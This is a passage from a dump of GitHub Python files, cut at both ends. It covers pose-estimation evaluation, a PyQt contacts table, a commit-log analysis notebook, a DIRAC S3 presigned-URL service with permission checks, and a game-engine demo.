print('last',xline[-1])\n\t# print('szer',width)\n\theight = np.round(width*0.7)\n\t# print('wys',height)\n\tTMParray = array[:, xline[0]:xline[0]+width, :]\n\t# print(np.shape(TMParray))\n\n\tfor i in range(0,x[0]-1):\n\t\tx1=TMParray[i,:,:].sum(dtype=int)\n\t\tx2=TMParray[i+1,:,:].sum(dtype=int)\n\t\tx3=x1-x2\n\t\tif abs(x3) >= 3500:\n\t\t\t# print(x3)\n\t\t\tyline.append(i)\n\t\t\t# print(i,':',x1,x2,'abs',abs(x3),'x3',x3)\n\t\t\tbreak\n\n\t# print(yline)\n\t# print(height)\n\tTMParray = TMParray[yline[0]:yline[0]+int(height),:, :]\n\t# plt.imsave(\"img\\debugger\\sample\\\\\" + str(similarity) + \".png\", TMParray)\n\t# print(np.shape(TMParray))\n\t# plt.imshow(TMParray)\n\t# plt.show()\n\treturn TMParray\n","repo_name":"deuslatro/Wielkoryb","sub_path":"findFunctions.py","file_name":"findFunctions.py","file_ext":"py","file_size_in_byte":8001,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"9"} +{"seq_id":"39577714189","text":"from PyQt4 import QtCore, QtGui\n\n\nclass ButtonDelegate(QtGui.QItemDelegate):\n def __init__(self, parent=None):\n QtGui.QItemDelegate.__init__(self, parent)\n self.width = 100\n self.height = 30\n\n def createEditor(self, parent, option, index):\n button = QtGui.QPushButton(parent)\n button.setStyleSheet('QPushButton{border:solid}')\n button.resize(100, 10)\n\n left = option.rect.x() + (option.rect.width() - self.width) / 2\n top = option.rect.y() + (option.rect.height() - self.height) / 2\n button.setGeometry(left, top, self.width, self.height)\n return button\n\n def paint(self, painter, option, index):\n opt = QtGui.QStyleOptionButton()\n opt.text = '删除'\n left = option.rect.x() + (option.rect.width() - self.width) / 2\n top = option.rect.y() + (option.rect.height() - self.height) / 2\n opt.rect = QtCore.QRect(left, top, self.width, self.height)\n QtGui.QApplication.style().drawControl(QtGui.QStyle.CE_PushButton, opt, painter)\n\n def updateEditorGeometry(self, editor, option, index):\n pass\n\n\nclass QTableButton(QtGui.QPushButton):\n def __init__(self, ctr, x, person, parent=None):\n super(QTableButton, self).__init__(parent)\n self.ctr = ctr\n self.x = x\n self.person = person\n self.setText('删除')\n\n def mousePressEvent(self, event):\n if event.button() == QtCore.Qt.LeftButton:\n print(self.x)\n self.ctr.deletePersonalContact(self.x, self.person)\n\n\nclass TableModel(QtCore.QAbstractTableModel):\n def __init__(self, ctr, parent=None):\n super(TableModel, self).__init__(parent)\n\n self.sex = {\n 'M': '男', 'F': '女', '': '-'\n }\n self.colField = ['passenger_name', 'sex_code', 'passenger_id_type_name', 'passenger_id_no', 'mobile_no',\n 'passenger_type_name']\n self.ctr = ctr\n self.horizontalHeaderLabels = ['姓名', '姓别', '证件类型', '证件号码', '手机/电话', '旅客类型', '操作']\n\n def rowCount(self, parent=QtCore.QModelIndex()):\n return self.ctr.getPersonalContactsCounts()\n\n def columnCount(self, parent=QtCore.QModelIndex()):\n return len(self.colField) + 1\n\n def headerData(self, col, orientation, role):\n if orientation == QtCore.Qt.Horizontal and role == QtCore.Qt.DisplayRole:\n return self.horizontalHeaderLabels[col]\n\n def data(self, index, role=QtCore.Qt.DisplayRole):\n if not index.isValid():\n return None\n if role in [QtCore.Qt.DisplayRole, QtCore.Qt.EditRole]:\n row = index.row()\n col = index.column()\n if col == len(self.colField):\n pass;\n else:\n dt = self.ctr.getPersonalContactsDetailColData(row, self.colField[col])\n if col == 1:\n return self.sex[dt] if not dt is None else '-'\n else:\n return dt\n\n def deletePersonalContact(self, person):\n self.emit(QtCore.SIGNAL(\"layoutAboutToBeChanged()\"))\n self.ctr.deletePersonalContact(person)\n self.emit(QtCore.SIGNAL(\"layoutChanged()\"))\n\n\nclass TableView(QtGui.QTableView):\n def __init__(self, parent=None):\n super(TableView, self).__init__(parent)\n\n self.verticalHeader().setVisible(False)\n #self.horizontalHeader().setVisible(False)\n self.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers)\n\n self.horizontalHeader().setResizeMode(QtGui.QHeaderView.Stretch)\n #self.verticalHeader().setResizeMode(QtGui.QHeaderView.Stretch)\n self.setVerticalScrollMode(QtGui.QAbstractItemView.ScrollPerItem)\n self.setFrameShape(QtGui.QFrame.NoFrame)\n\n self.resizeRowsToContents()\n\n\nclass PersonalContactsPenal(QtGui.QWidget):\n def __init__(self, ctr, parent=None):\n super(PersonalContactsPenal, self).__init__(parent)\n self.ctr = ctr\n\n def build(self):\n\n self.model = TableModel(self.ctr)\n table = TableView()\n table.setModel(self.model)\n table.doubleClicked.connect(lambda x: self.cellClick(x))\n table.setItemDelegateForColumn(6, ButtonDelegate(table))\n\n layout = QtGui.QVBoxLayout()\n addButton = QtGui.QPushButton('添加')\n self.connect(addButton, QtCore.SIGNAL(\"clicked()\"), self.openAddPersonalContactsPanel)\n addButton.setCursor(QtCore.Qt.PointingHandCursor)\n\n spacerItem = QtGui.QSpacerItem(0, 20000, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)\n tableLayout = QtGui.QHBoxLayout()\n tableLayout.addWidget(table)\n tableLayout.addItem(spacerItem)\n\n layout.addWidget(addButton)\n layout.addLayout(tableLayout)\n self.setLayout(layout)\n\n def openAddPersonalContactsPanel(self):\n self.ctr.changeStackedWidget(5)\n\n def cellClick(self, cell):\n row = cell.row()\n col = cell.column()\n if self.model.columnCount() - 1 == col:\n person = self.model.data(self.model.index(row, 0))\n self.model.deletePersonalContact(person)\n\n def deletePersonalContact(self, index, person):\n if self.ctr.deletePersonalContact(person):\n print(1)\n else:\n print(2)\n\n\n","repo_name":"loversmile/mytest","sub_path":"py22/uiPersonelContacts.py","file_name":"uiPersonelContacts.py","file_ext":"py","file_size_in_byte":5321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"35827630833","text":"from zhuge.model.BaseModel.Base import Base\n\n\n# ok\nclass NewDayCityarea(Base):\n __tablename__ = 'new_day_cityarea'\n fields = {\n 'created': 0,\n 'updated': 0,\n 'datetime': 0,\n 'cityarea': '',\n 'cityarea_id': 0,\n 'volume_total': 0,\n 'volume_totalarea': 0.0,\n 'volume_totalprice': 0,\n 'volume_price': 0,\n 'res_total': 0,\n 'res_totalarea': 0.0,\n 'sold_total': 0,\n 'sold_totalarea': 0.0,\n 'other_total': 0,\n 'other_totalarea': 0.0,\n 'res_sold_total': 0,\n 'presale_total': 0,\n 'presale_totalarea': 0.0,\n }\n","repo_name":"wlyehbd/common","sub_path":"zhuge/model/NewDayCityarea.py","file_name":"NewDayCityarea.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"37623448017","text":"from __future__ import print_function, absolute_import, division\n\nimport time\n\nimport numpy as np\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom common.data_loader import PoseDataSet\nfrom common.viz import plot_16j\nfrom progress.bar import Bar\nfrom utils.data_utils import fetch\nfrom utils.loss import mpjpe, p_mpjpe, compute_PCK, compute_AUC,n_mpjpe\nfrom utils.utils import AverageMeter\n\n\n####################################################################\n# ### evaluate p1 p2 pck auc dataset with test-flip-augmentation \n####################################################################\ndef evaluate(data_loader, model_pos_eval, device, summary=None, writer=None, key='', tag='', flipaug='',pad=13,scale=True):\n batch_time = AverageMeter()\n data_time = AverageMeter()\n epoch_p1 = AverageMeter()\n epoch_p1n = AverageMeter()\n epoch_p2 = AverageMeter()\n epoch_auc = AverageMeter()\n epoch_pck = AverageMeter()\n\n # Switch to evaluate mode\n model_pos_eval.eval()\n end = time.time()\n\n bar = Bar('Eval posenet on {}'.format(key), max=len(data_loader))\n for i, temp in enumerate(data_loader):\n targets_3d, inputs_2d = temp[0], temp[1]\n inputs_2d=inputs_2d[:,0]\n if pad>0:\n rows=torch.sum(inputs_2d==0,dim=(-1,-2,-3))<(2*pad+1)*16*2\n inputs_2d=inputs_2d[rows]\n targets_3d=targets_3d[rows]\n # Measure data loading time\n data_time.update(time.time() - end)\n num_poses = targets_3d.size(0)\n inputs_2d = inputs_2d.to(device)\n\n with torch.no_grad():\n if flipaug: # flip the 2D pose Left <-> Right\n joints_left = [4, 5, 6, 10, 11, 12]\n joints_right = [1, 2, 3, 13, 14, 15]\n out_left = [4, 5, 6, 10, 11, 12]\n out_right = [1, 2, 3, 13, 14, 15]\n inputs_2d_flip = inputs_2d.detach().clone()\n inputs_2d_flip[:,:,:, 0] *= -1\n inputs_2d_flip[:, :,joints_left + joints_right, :] = inputs_2d_flip[:, :,joints_right + joints_left, :]\n outputs_3d_flip = model_pos_eval(inputs_2d_flip).view(num_poses, -1, 3).cpu()\n outputs_3d_flip[:, :, 0] *= -1\n outputs_3d_flip[:, out_left + out_right, :] = outputs_3d_flip[:, out_right + out_left, :]\n \n outputs_3d = model_pos_eval(inputs_2d).view(num_poses, -1, 3).cpu()\n outputs_3d_flip_rev = model_pos_eval(inputs_2d_flip.flip(1)).view(num_poses, -1, 3).cpu()\n outputs_3d_flip_rev[:, :, 0] *= -1\n outputs_3d_flip_rev[:, out_left + out_right, :] = outputs_3d_flip_rev[:, out_right + out_left, :]\n \n outputs_3d_rev = model_pos_eval(inputs_2d.flip(1)).view(num_poses, -1, 3).cpu()\n \n\n # We use the average human hip to neck length length based on the following survey to fix some of the \n # problems in scale ambiguity while doing cross-dataset evaluation http://tools.openlab.psu.edu/publicData/ANSURII-TR15-007.pdf\n if scale: \n bone_real=0.52 # this is a average human hip to neck length based on the following survey\n bone_pred=np.mean(np.linalg.norm(outputs_3d[:,0,:]-outputs_3d[:,8,:],axis=-1))\n outputs_3d = outputs_3d*bone_real/bone_pred\n outputs_3d_rev = outputs_3d_rev*bone_real/bone_pred\n outputs_3d_flip=outputs_3d_flip*bone_real/bone_pred\n outputs_3d_flip_rev=outputs_3d_flip_rev*bone_real/bone_pred\n \n outputs_3d = (outputs_3d + outputs_3d_flip+outputs_3d_flip_rev+outputs_3d_rev) / 4.0\n\n else:\n\n \n\n \n outputs_3d = model_pos_eval(inputs_2d).view(num_poses, 16, 3).cpu()\n\n # We use the average human hip to neck length length based on the following survey to fix some of the \n # problems in scale ambiguity while doing cross-dataset evaluation http://tools.openlab.psu.edu/publicData/ANSURII-TR15-007.pdf)\n if scale:\n bone_real=0.52\n bone_pred=np.mean(np.linalg.norm(outputs_3d[:,0,:]-outputs_3d[:,8,:],axis=-1))\n outputs_3d = outputs_3d*bone_real/bone_pred\n \n # caculate the relative position.\n \n targets_3d=targets_3d[:,0,pad,:]\n \n\n targets_3d = targets_3d[:, :, :] - targets_3d[:, :1, :] # the output is relative to the 0 joint\n outputs_3d = outputs_3d[:, :, :] - outputs_3d[:, :1, :]\n \n \n \n \n p1score = mpjpe(outputs_3d, targets_3d).item() * 1000.0\n epoch_p1.update(p1score, num_poses)\n\n p1nscore = n_mpjpe(outputs_3d, targets_3d).item() * 1000.0\n epoch_p1n.update(p1nscore, num_poses)\n\n # # Visualization while performin evaluation\n # if tag=='3dhp':\n # for ii in range(0,len(outputs_3d),10):\n # plot_16j(np.concatenate((outputs_3d[ii:ii+1].numpy(),targets_3d[ii:ii+1].numpy()),axis=0),frame_colors=['r','b'],frame_legend=['pred','gt'])\n\n p2score = p_mpjpe(outputs_3d.numpy(), targets_3d.numpy()).item() * 1000.0 # #\n epoch_p2.update(p2score, num_poses)\n\n # # # compute AUC and PCK\n # pck = compute_PCK(targets_3d.numpy(), outputs_3d.numpy())\n # epoch_pck.update(pck, num_poses)\n # auc = compute_AUC(targets_3d.numpy(), outputs_3d.numpy())\n # epoch_auc.update(auc, num_poses)\n\n # Measure elapsed time\n batch_time.update(time.time() - end)\n end = time.time()\n\n bar.suffix = '({batch}/{size}) Data: {data:.6f}s | Batch: {bt:.3f}s | Total: {ttl:} | ETA: {eta:} ' \\\n '| MPJPE: {e1: .4f} | P-MPJPE: {e2: .4f} | N-MPJPE: {e3: .4f}' \\\n .format(batch=i + 1, size=len(data_loader), data=data_time.avg, bt=batch_time.avg,\n ttl=bar.elapsed_td, eta=bar.eta_td, e1=epoch_p1.avg,\n e2=epoch_p2.avg,e3=epoch_p1n.avg)\n bar.next()\n\n if writer:\n writer.add_scalar('posenet_{}'.format(key) + flipaug + '/p1score' + tag, epoch_p1.avg, summary.epoch)\n writer.add_scalar('posenet_{}'.format(key) + flipaug + '/p2score' + tag, epoch_p2.avg, summary.epoch)\n # writer.add_scalar('posenet_{}'.format(key) + flipaug + '/_pck' + tag, epoch_pck.avg, summary.epoch)\n # writer.add_scalar('posenet_{}'.format(key) + flipaug + '/_auc' + tag, epoch_auc.avg, summary.epoch)\n\n bar.finish()\n return epoch_p1.avg, epoch_p2.avg\n\n\n#########################################\n# overall evaluation function\n#########################################\ndef evaluate_posenet(args, data_dict, model_pos, model_pos_eval, device, summary, writer, tag):\n \"\"\"\n evaluate H36M and 3DHP\n test-augment-flip only used for 3DHP as it does not help on H36M.\n \"\"\"\n with torch.no_grad():\n model_pos_eval.load_state_dict(model_pos.state_dict())\n h36m_p1, h36m_p2 = evaluate(data_dict['H36M_test'], model_pos_eval, device, summary, writer,\n key='H36M_test', tag=tag, flipaug='',pad=args.pad) \n dhp_p1, dhp_p2 = evaluate(data_dict['mpi3d_loader'], model_pos_eval, device, summary, writer,\n key='mpi3d_loader', tag=tag,flipaug='_flip',pad=args.pad) \n return h36m_p1, h36m_p2, dhp_p1, dhp_p2\n\n","repo_name":"mgholamikn/AdaptPose","sub_path":"function_adaptpose/model_pos_eval.py","file_name":"model_pos_eval.py","file_ext":"py","file_size_in_byte":7490,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"9"} +{"seq_id":"21668563055","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # CA4 - Ciaran Dunne - 10393193 \n\n# Import each of the libaries that will be used\n\n# In[222]:\n\n\nimport pandas as pd\n\n\n# In[223]:\n\n\nimport numpy as np\n\n\n# In[224]:\n\n\nimport matplotlib.pyplot as plt\n\n\n# In[225]:\n\n\nimport seaborn as sns\n\n\n# # Step 1 - Gather the Data\n\n# Import the file to be used and check it\n\n# In[226]:\n\n\ncsv_file = 'changes.csv'\nchanges = pd.read_csv(csv_file, usecols = [0, 1, 2, 3, 4, 5])\n\n\n# # Step 2 - Prepare the Data\n\n# In[227]:\n\n\nchanges['author'].value_counts()\n\n\n# One of the \"users\" is unreadable - so change that to \"UNKNOWN\" for ease of use\n\n# In[228]:\n\n\nchanges = changes.replace(to_replace=r'/OU=Domain Control Validated/CN=svn.company.net', value='UNKNOWN', regex=True)\n\n\n# In[229]:\n\n\n#changes[['revision','author']]\n\n\n# Split out dates for year, month and day to support analysis (mainly for month)\n\n# In[230]:\n\n\n# new data frame with split value columns \nnewdate = changes[\"date\"].str.split(\"-\", n = 3, expand = True) \n \n# making seperate column for year \nchanges[\"year\"]= newdate[0] \n \n# making seperate column for month\nchanges[\"month\"]= newdate[1] \n \n# making seperate column for day \nchanges[\"day\"]= newdate[2] \n\n# df display \n#changes\n\n\n# Split out time for hour, minute and second to support analysis (mainly for hour of the day)\n\n# In[231]:\n\n\n# new data frame with split value columns \nnewtime = changes[\"time\"].str.split(\":\", n = 3, expand = True) \n \n# making seperate column for year \nchanges[\"hour\"]= newtime[0] \n \n# making seperate column for month\nchanges[\"minute\"]= newtime[1] \n \n# making seperate column for day \nchanges[\"second\"]= newtime[2] \n\n# df display \n#changes\n\n\n# In[232]:\n\n\n#changes.to_csv(\"TableauFile\", sep='\\t')\n\n\n# Identify the day of the week that commits were made - to see if anyone was working weekends. \n\n# In[233]:\n\n\nchanges['NewDate'] = pd.to_datetime(changes['date'], format='%Y-%m-%d %H:%M:%S')\n\n\n# In[234]:\n\n\nchanges['weekday'] = changes['NewDate'].dt.weekday_name\n\n\n# In[235]:\n\n\nchanges.dtypes\n\n\n# In[236]:\n\n\nchanges[['hour', 'minute', 'second']] = changes[['hour', 'minute', 'second']].apply(pd.to_numeric)\n\n\n# Check how the table is looking\n\n# In[237]:\n\n\nchanges\n\n\n# # Step 3 - Get Insights\n\n# 1. Check the mean number of lines per comment across all authors \n\n# In[238]:\n\n\nchanges['number_of_lines'].mean()\n\n\n# \n\n# 2. Identify the total number of revisions made by each author during the period in question, and represent it graphically:\n# - Bar chart\n# - Pie Chart\n\n# In[239]:\n\n\nrev_auth = changes['author'].value_counts()\n\n\n# In[240]:\n\n\nrev_auth.plot(kind = 'bar', title = 'Number of Revisions by Author', rot = 45, ).set(xlabel = 'Authors', ylabel = 'No. of Revisions')\n\n\n# In[241]:\n\n\nrev_auth.plot(kind = 'pie', figsize=(6, 6), title = 'Number of Revisions by Author', rot = 45, ).set(xlabel = '', ylabel = '', )\n\n\n# \n\n# 3. Identify the number of revisions made each month to understand peak and tough activity, and represent it graphically:\n# - Bar chart\n# - Pie Chart\n# - Line Graph\n\n# In[242]:\n\n\nrev_month = changes.groupby([\"month\"]).count()[\"revision\"]\nrev_month\n\n\n# In[243]:\n\n\nrev_month.plot(kind = 'bar', title = 'Number of Revisions by Month', rot = 45, ).set(xlabel = 'Month', ylabel = 'No. of Revisions')\n\n\n# In[244]:\n\n\nrev_month.plot(kind = 'pie', figsize=(6, 6), title = 'Number of Revisions by Month', rot = 45, ).set(xlabel = 'Month', ylabel = 'No. of Revisions')\n\n\n# In[245]:\n\n\nrev_month.plot(table=True, figsize=(6, 6), yticks=(np.arange(0, 140, step=10)))\n\n\n# \n\n# 4. Identify the hour of the day that commits are made and represent it graphically \n# - Line Graph\n# - Scatter Plot\n\n# In[246]:\n\n\nrev_time = changes.groupby([\"hour\"]).count()[\"revision\"]\nrev_time\n\n\n# In[247]:\n\n\nrev_time.plot(table=True, figsize=(6, 6), yticks=(np.arange(0, 140, step=10)))\n\n\n# In[248]:\n\n\nrev_time = changes.groupby([\"author\", \"hour\"]).count()[\"revision\"]\nrev_time\n\n\n# In[249]:\n\n\n# construct plot\n# https://www.datacamp.com/community/tutorials/seaborn-python-tutorial\nf, ax = plt.subplots(figsize = (20, 10))\nsns.swarmplot(x=\"author\", y=\"hour\", data=changes, ax=ax)\n\n# Show plot\nplt.show()\n\n\n# \n\n# 5. Identify the activity by day of the week to see if there was any activity over weekends.\n# - Pie Chart\n\n# In[250]:\n\n\nrev_day = changes.groupby([\"weekday\"]).count()[\"revision\"]\nrev_day\n\n\n# In[251]:\n\n\nrev_day.plot(kind = 'pie', title = 'Revisions by Day of the Week', rot = 45, ).set(xlabel = '', ylabel = '')\n\n\n# \n\n# 6. Identify activity outside of typical working hours (ie. 9am - 6pm) and represent graphically\n# - Bar Chart\n\n# In[252]:\n\n\nchanges['author'][changes['time'] > '17:30:00'].count()\n\n\n# In[253]:\n\n\nafterSix = changes[changes['hour']>=18]\n\n\n# In[254]:\n\n\nafterSix = afterSix.groupby([\"author\"]).count()[\"revision\"]\nafterSix\n\n\n# In[255]:\n\n\nafterSix.plot(kind = 'bar', title = 'Commits after 6pm', rot = 45, ).set(xlabel = 'Authors', ylabel = 'Total Commits')\n\n\n# In[256]:\n\n\nbeforeNine = changes[changes['hour']<=8]\n\n\n# In[257]:\n\n\nbeforeNine = beforeNine.groupby([\"author\"]).count()[\"revision\"]\nbeforeNine\n\n\n# In[258]:\n\n\nbeforeNine.plot(kind = 'bar', title = 'Commits before 9am', rot = 45, ).set(xlabel = 'Authors', ylabel = 'Total Commits')\n\n\n# # Summary of Analysis\n\n# As part of the analysis we looked at the data from 6 different perspectives\n# \n# 1. Comment detail per commit (averages)\n# 2. Total commit volumes per author \n# 3. Number of revisions made per month to understand peak and tough activity\n# 4. Timing of commits (hour of the day)\n# 5. Activity by day of the week \n# 6. Activity outside of typical working hours (ie. 9am - 6pm)\n# \n\n# # Statistical Pieces of \"Interestingness\"\n\n# 1. The team don't do much work outside of typical working hours \n# - There were no commits made on weekends.\n# - There were a total of 26 commits outside of standard working hours over the 5 months (18 before 9am, and 8 after 5.30pm) - which is quite low. \n# \n# \n# 2. Team member commits are not consistent \n# - There are some team members who are doing considerably more commits that the rest of the team.\n# - Thomas and Jimmy make the vast majority of commits when compared to other team members. \n# \n# \n# 3. There are some peaks and troughs in terms of commit activity\n# - The vast majority of commits are made in the middle of the day at around 2pm. If there are operational constraints, the team could looks to distribute commits more over the course of the day. \n# - There is an even enough spread of commits over the days of the week, but in terms of months, each month had relatively consistant levels of activity, however, September had less than half the volume of commits as other months. This might be worth looking into if it is already not understood. \n# \n# \n","repo_name":"ciarandunne/Data-Analytics-DBS-Programming-For-Big-Data","sub_path":"ChangesAnalysisv02.py","file_name":"ChangesAnalysisv02.py","file_ext":"py","file_size_in_byte":6727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"22961767104","text":"\"\"\"\nService handler for generating pre-signed URLs for S3 storages.\nPermissions to request a URL for a given action are mapped against FC permissions\nThis service can serve presigned URL for any S3 storage it has the credentials for.\n\n\n.. literalinclude:: ../ConfigTemplate.cfg\n :start-after: ##BEGIN S3Gateway\n :end-before: ##END\n :dedent: 2\n :caption: S3Gateway options\n\n\"\"\"\nimport errno\n\n# from DIRAC\nfrom DIRAC import S_ERROR, S_OK, gLogger\nfrom DIRAC.Core.DISET.RequestHandler import RequestHandler\nfrom DIRAC.Core.DISET.ThreadConfig import ThreadConfig\nfrom DIRAC.Core.Utilities.ReturnValues import returnSingleResult\nfrom DIRAC.DataManagementSystem.Utilities.DMSHelpers import DMSHelpers\nfrom DIRAC.Resources.Catalog.FileCatalog import FileCatalog\nfrom DIRAC.Resources.Storage.StorageElement import StorageElement\n\n########################################################################\n\nLOG = gLogger.getSubLogger(__name__)\n\n\nclass S3GatewayHandlerMixin:\n \"\"\"\n .. class:: S3GatewayHandler\n\n \"\"\"\n\n # FC instance to check whether access is permitted or not\n _fc = None\n\n # Mapping between the S3 methods and the DFC methods\n _s3ToFC_methods = {\n \"head_object\": \"getFileMetadata\",\n \"get_object\": \"getFileMetadata\", # consider that if we are allowed to see the file metadata\n # we can also download it\n \"put_object\": \"addFile\",\n \"delete_object\": \"removeFile\",\n }\n\n _S3Storages = {}\n\n # This allows us to perform the DFC queries on behalf of a user\n # without having to recreate a DFC object every time and\n # pass it the \"delegatedDN\" and \"delegatedGroup\" values\n _tc = ThreadConfig()\n\n @classmethod\n def initializeHandler(cls, serviceInfoDict):\n \"\"\"initialize handler\"\"\"\n\n log = LOG.getSubLogger(\"initializeHandler\")\n\n for seName in DMSHelpers().getStorageElements():\n se = StorageElement(seName)\n # TODO: once we finally merge _allProtocolParameters with the\n # standard paramaters in the StorageBase, this will be much neater\n\n for storagePlugin in se.storages.values():\n storageParam = storagePlugin._allProtocolParameters # pylint: disable=protected-access\n\n if (\n storageParam.get(\"Protocol\") == \"s3\"\n and \"Aws_access_key_id\" in storageParam\n and \"Aws_secret_access_key\" in storageParam\n ):\n cls._S3Storages[seName] = storagePlugin\n log.debug(f\"Add {seName} to the list of usable S3 storages\")\n break\n\n log.info(\"S3Gateway initialized storages\", f\"{list(cls._S3Storages)}\")\n\n cls._fc = FileCatalog()\n\n return S_OK()\n\n def _hasAccess(self, lfn, s3_method):\n \"\"\"Check if we have permission to execute given operation on the given file (if exists) or its directory\"\"\"\n\n opType = self._s3ToFC_methods.get(s3_method)\n if not opType:\n return S_ERROR(errno.EINVAL, f\"Unknown S3 method {s3_method}\")\n\n return returnSingleResult(self._fc.hasAccess(lfn, opType))\n\n types_createPresignedUrl = [str, str, (dict, list), int]\n\n def export_createPresignedUrl(self, storageName, s3_method, urls, expiration):\n \"\"\"Generate a presigned URL for a given object, given method, and given storage\n Permissions are checked against the DFC\n\n :param storageName: SE name\n :param s3_method: name of the S3 client method we want to perform.\n :param urls: Iterable of urls. If s3_method is put_object, it must be a dict where fields\n is a dictionary (see ~DIRAC.Resources.Storage.S3Storage.S3Storage.createPresignedUrl)\n :param expiration: duration of the token\n \"\"\"\n\n log = LOG.getSubLogger(\"createPresignedUrl\")\n\n if s3_method == \"put_object\" and not isinstance(urls, dict):\n return S_ERROR(errno.EINVAL, \"urls has to be a dict \")\n\n # Fetch the remote credentials, and set them in the ThreadConfig\n # This allows to perform the FC operations on behalf of the user\n credDict = self.getRemoteCredentials()\n if not credDict:\n # If we can't obtain remote credentials, consider it permission denied\n return S_ERROR(errno.EACCES, \"Could not obtain remote credentials\")\n\n self._tc.setDN(credDict[\"DN\"])\n self._tc.setGroup(credDict[\"group\"])\n\n successful = {}\n failed = {}\n s3Plugin = self._S3Storages[storageName]\n for url in urls:\n try:\n log.verbose(\n \"Creating presigned URL\",\n f\"SE: {storageName} Method: {s3_method} URL: {url} Expiration: {expiration}\",\n )\n\n # Finding the LFN to query the FC\n # I absolutely hate doing such path mangling but well....\n res = s3Plugin._getKeyFromURL(url) # pylint: disable=protected-access\n if not res[\"OK\"]:\n failed[url] = res[\"Message\"]\n log.debug(f\"Could not parse the url {url} {res}\")\n continue\n\n lfn = \"/\" + res[\"Value\"]\n\n log.debug(f\"URL: {url} -> LFN {lfn}\")\n\n # Checking whether access is permitted\n res = self._hasAccess(lfn, s3_method)\n if not res[\"OK\"]:\n failed[url] = res[\"Message\"]\n continue\n\n if not res[\"Value\"]:\n failed[url] = \"Permission denied\"\n continue\n\n res = returnSingleResult(\n s3Plugin.createPresignedUrl({url: urls.get(\"Fields\")}, s3_method, expiration=expiration)\n )\n\n log.debug(f\"Presigned URL for {url}: {res}\")\n if res[\"OK\"]:\n successful[url] = res[\"Value\"]\n else:\n failed[\"url\"] = res[\"Message\"]\n except Exception as e:\n log.exception(\"Exception presigning URL\")\n failed[url] = repr(e)\n\n return S_OK({\"Successful\": successful, \"Failed\": failed})\n\n\nclass S3GatewayHandler(S3GatewayHandlerMixin, RequestHandler):\n pass\n","repo_name":"DIRACGrid/DIRAC","sub_path":"src/DIRAC/DataManagementSystem/Service/S3GatewayHandler.py","file_name":"S3GatewayHandler.py","file_ext":"py","file_size_in_byte":6299,"program_lang":"python","lang":"en","doc_type":"code","stars":108,"dataset":"github-code","pt":"9"} +{"seq_id":"20202991962","text":"# 增加环境变量,仅测试使用\nimport os\nimport sys\np = os.path.split(os.getcwd())[0]\nsys.path = [p] + sys.path\nimport sys;print(sys.stdout.encoding)\n\n\n\nimport vgame\nfrom vgame import Initer, Theater, Actor, Image\n\nif __name__ == \"__main__\":\n bg1 = '../test_data/sushiplate.jpg'\n bg2 = '../test_data/sea.jpg'\n cur = '../test_data/sprite_100x100.png'\n som = '../test_data/niu_56x85.png'\n\n ims = '../test_data/e1' # 文件夹也可以通过 Image 对象进行加载\n fsd = '../test_data/fish/down'\n fsu = '../test_data/fish/up'\n fsr = '../test_data/fish/right'\n fra = '../test_data/fish/right_attck1'\n\n # 测试时使用 TAB 键切按一定的顺序换场景 # 该功能仅为测试用\n\n main = Initer(120) # 核心类负责游戏的启动,必须在最前面,否则连资源加载都做不到,\n # 第一个参数为全局秒帧率,默认60\n\n vgame.Actor.DEBUG = True\n\n # 资源加载 # 动图和非动图均可,动图需要\n i_bg1 = Image(bg1)\n i_bg2 = Image(bg2)\n i_cur = Image(cur, showsize=(50,50), rate=60) # 动图需要填写速率,否则会很鬼畜\n i_som = Image(som, showsize=(80,80), rate=60)\n i_ims = Image(ims, rate=60)\n i_fsd = Image(fsd, rate=60)\n i_fsu = Image(fsu, rate=60)\n i_fsr = Image(fsr, rate=60)\n i_fra = Image(fra, rate=60)\n\n # 场景一\n theater_0 = Theater(i_bg1) # theater(舞台) 必须要指定两个元素,1背景图片资源,2舞台名字\n actor1 = Actor(i_cur, in_control=True) # in_control 负责接收控制指令,目前控制指令只会打印相关的操作内容\n theater_0.regist(actor1) # actor(演员) 需要注册进场景才能使用\n actor1.direction = lambda self, info: print('morse_info', info) if info else None # 方向键操作的回调 hook\n actor1.mouse = lambda self, info: print('direc_info', info) if info else None # 鼠标键操作的回调 hook\n actor1.control = lambda self, info: print('cntro_info', info) if info else None # 功能键操作的回调 hook\n main.regist(theater_0) # threater(舞台) 需要注册进初始对象才能使用\n\n # 场景二\n theater_1 = Theater(i_bg2) # theater(舞台) 必须要指定两个元素,1背景图片资源,2舞台名字\n actor2 = Actor(i_fra, in_control=True)\n actor3 = Actor(i_fsd)\n actor4 = Actor(i_fsr)\n actor2.rect[0], actor2.rect[1] = 100, 100\n actor3.rect[0], actor3.rect[1] = 300, 300\n actor4.rect[0], actor4.rect[1] = 400, 200\n theater_1.regist(actor2)\n theater_1.regist(actor3)\n theater_1.regist(actor4)\n main.regist(theater_1)\n\n main.change_theater(theater_1) # 可以通过舞台名字直接进行场景切换\n\n # 一个简单的角色的控制处理的模板\n # 这里的处理可以很方便的使用默认的操作消息,通过修改默认处理消息的函数就能利用这些操作消息\n # 下面就是鼠标、方向键、功能键的操作消息的处理,不修改则默认打印消息内容\n # 1修改 actor2 的方向键的挂钩操作处理 # 用小键盘的方向数字描述上下左右\n def my_direction(self, m):\n d = 5\n for i in m.get('p1') or []:\n if i == 8: actor2.rect[1] = actor2.rect[1] - d\n if i == 2: actor2.rect[1] = actor2.rect[1] + d\n if i == 4: actor2.rect[0] = actor2.rect[0] - d\n if i == 6: actor2.rect[0] = actor2.rect[0] + d\n # 2修改 actor2 鼠标处理,下面的功能是用鼠标拖动角色对象\n minfo1 = None\n minfo2 = None\n def my_mouse(self, m):\n global minfo1, minfo2\n if m and m[1] == 2:\n x,y,w,h = actor2.rect\n sx,sy = m[2][0]\n ex,ey = m[2][1]\n minfo1,minfo2 = ((sx,sy),(x, y, w, h)) if minfo1 != (sx,sy) else (minfo1,minfo2)\n if ( (sx >= minfo2[0] and sx <= minfo2[0] + 